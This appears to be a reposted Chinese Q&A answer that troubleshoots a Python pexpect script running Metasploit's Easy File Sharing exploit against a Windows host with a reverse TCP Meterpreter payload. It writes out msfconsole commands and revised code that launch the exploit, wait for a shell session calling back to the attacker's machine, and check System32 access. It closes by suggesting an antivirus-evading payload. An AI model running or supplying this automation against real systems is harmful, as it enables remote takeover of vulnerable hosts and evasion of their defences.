使用pexpect调用msfconsole执行漏洞利用后无法继续交互的问题排查
分析与解决你的反向TCP Shell自动化问题
首先明确一点:你遇到的pexpect.exceptions.TIMEOUT不是字符串与字节类型不匹配导致的——pexpect的expect方法会自动将传入的字符串转换为字节串进行匹配。真正的核心问题从日志里已经清晰可见:
[*] Exploit completed, but no session was created.
也就是说Metasploit的exploit执行完毕,但根本没成功建立Meterpreter会话,你的代码一直在等待不存在的"Meterpreter session 1 opened",最终超时报错。
下面分步骤排查和解决问题:
1. 先确认目标环境的有效性
这是攻击成功的核心前提:
- 目标机器确实运行着存在漏洞的旧版本Easy File Sharing(该exploit对应6.3及更早版本),如果目标软件版本修复了漏洞,攻击自然无法成功。
- 目标机器的防火墙/杀毒软件没有拦截出站TCP连接:你使用的
reverse_tcppayload需要目标主动发起连接到你的攻击机(日志显示监听IP为192.168.1.102:4444),要确保:- 你的攻击机4444端口未被本地防火墙拦截。
- 目标机器能正常访问192.168.1.102(比如处于同一局域网,没有路由或ACL限制)。
2. 手动验证Metasploit命令的有效性
先脱离Python代码,直接在终端手动执行命令,确认exploit本身是否能成功:
msfconsole -q use exploit/windows/http/easyfilesharing_post set RHOSTS 192.168.1.86 set LHOST 192.168.1.102 # 明确指定攻击机IP,避免Metasploit自动选择错误网卡 run
如果手动执行也显示"no session was created",说明问题出在目标环境或exploit配置,和你的Python代码无关;如果手动能成功拿到会话,再回到代码层面排查。
3. 优化你的pexpect代码
假设手动执行能成功,你的代码有几个可以优化的点:
- 明确设置LHOST:原代码未指定
LHOST,Metasploit可能自动选择了目标无法访问的IP(比如localhost),导致反向连接失败。 - 更灵活的匹配规则:会话编号不一定是1,用正则表达式匹配任意编号更可靠。
- 安全的参数传递:用列表传递spawn的参数,避免字符串拼接的引号转义问题。
- 处理失败场景:增加对"no session was created"的匹配,提前判断攻击失败,避免不必要的超时等待。
优化后的代码示例:
import pexpect import re def executeEasyFileSharing(target): attack_ip = "192.168.1.102" # 替换为你的攻击机实际IP msf_cmd = f"use exploit/windows/http/easyfilesharing_post; set rhosts {target[1]}; set lhost {attack_ip}; run" print(f"Executing msfconsole command: {msf_cmd}") print("Starting Metasploit...") # 用列表传参避免引号转义问题 child = pexpect.spawn("msfconsole", ["-q", "-x", msf_cmd]) # 写入日志文件 with open('mylog.txt', 'wb') as fout: child.logfile = fout # 同时匹配成功和失败的场景 match_patterns = [ re.compile(b"Meterpreter session \d+ opened"), # 正则匹配任意会话编号 b"Exploit completed, but no session was created" ] try: match_idx = child.expect(match_patterns, timeout=300) if match_idx == 0: print("Success! Meterpreter session opened.") # 验证系统权限 child.sendline("pwd") child.expect(b"C:\\WINDOWS\\System32", timeout=300) print("Confirmed access to System32 directory.") elif match_idx == 1: print("Exploit ran but no session created. Check target environment or Metasploit config.") except pexpect.TIMEOUT: print("Timeout waiting for Metasploit response. Check mylog.txt for details.")
额外提示
- 查看
mylog.txt的完整内容,Metasploit可能会给出更详细的失败原因(比如目标无响应、payload执行被拦截等)。 - 如果目标是Windows机器,部分杀毒软件会拦截Meterpreter payload,可尝试关闭目标杀毒软件做测试,或使用免杀版本的payload。
内容的提问来源于stack exchange,提问作者Ivey Hussler
相关产品推荐
相关产品推荐

